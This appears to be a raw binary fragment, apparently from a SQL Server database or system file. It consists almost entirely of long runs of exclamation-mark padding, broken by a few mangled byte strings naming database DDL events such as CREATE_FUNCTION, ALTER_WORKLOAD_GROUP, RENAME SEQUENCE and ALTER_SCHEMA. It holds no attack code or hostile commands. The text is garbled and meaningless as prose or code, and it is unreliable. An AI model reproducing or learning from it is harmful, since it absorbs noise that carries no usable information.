!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!k`"
B7-/vS0@PTCREATE_FUNCTIONFUNCTIONFUNCTIONvS.>BRENAMEFUNCTIONFUNCTIONvX:TpCREATE_WORKLOAD_GROUPWORKLOADGROUPWORKLOAD GROUPvX:TptALTER_WORKLOAD_GROUPWORKLOADGROUPWORKLOAD GROUP!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
BBvM.>BRENAMESEQUENCESEQUENCE
vS.>NRALTER_FUNCTIONFUNCTIONFUNCTIONvSJZjnALTER_AUTHORIZATION_DATABASEFUNCTIONFUNCTIONvS*:JNALTER_SCHEMAFUNCTIONFUNCTION!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!